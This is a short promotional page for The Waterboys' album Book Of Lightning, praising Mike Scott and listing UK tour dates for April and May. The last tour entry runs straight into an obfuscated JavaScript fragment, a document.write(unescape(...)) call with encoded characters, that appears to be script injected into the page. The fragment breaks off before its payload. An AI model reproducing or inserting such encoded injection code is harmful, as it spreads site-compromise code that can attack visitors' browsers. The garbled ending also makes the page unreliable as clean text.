The Waterboys album and tour latest

For over twenty years The Waterboys have been a testament to Mike Scott's extraordinary vision and his fearless love of musical exploration. With songs ranking as some of the most imaginative and distinctive of the past quarter century, The Waterboys have scored the dreams and aspirations of generations of music listeners.

Now, with Book Of Lightning The Waterboys have created a natural successor to their classics This Is The Sea and Fisherman's Blues and 2000's acclaimed comeback, A Rock In The Weary Land – an album containing elements of those powerful works, but also taking us into thrilling new territory; an album as literate and compelling as anything in the Waterboys' catalogue to date. As the opening bars of 'The Crash of Angel Wings' thunder out, we know that Book Of Lightning is going to be a new, unpredictable and delicious instalment in the Waterboys' story.

In Book of Lightning, more than ever before, Mike Scott is the master of his vision, exploring life and the human heart with confidence and assuredness, impelling the listener to respond emotionally and cerebrally - and to view the world with new eyes.

The Waterboys tour dates are:

26 Apr - Corn Exchange Cambridge
27 Apr - Regent Theatre Ipswich
28 Apr - City Hall Sheffield
29 Apr - De Montfort Hall Leicester
1 May - The New Theatre Oxford
3 May - Bridgewater Hall Manchester
4 May - Philharmonic Hall Liverpool
5 May - Assembly Hall Tunbridge Wells
6 May - Stables Theatre Milton Keynes
8 May - Guildhall Portsmouth
10 May - UEA Norwich
11 May - Royal Albert Hall London
12 May - Warwick Arts Centre Coventry
13 May - Grand Opera House York
15 May - The Ironworks Inverness
16 May - Concert Hall Perth
17 May - Music Hall Aberdeen
19 May - Barrowland Ballroom Glasgow
20 May - Festival Theatre Edinburgh
21 May - The Sage Gatesheaddocument.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;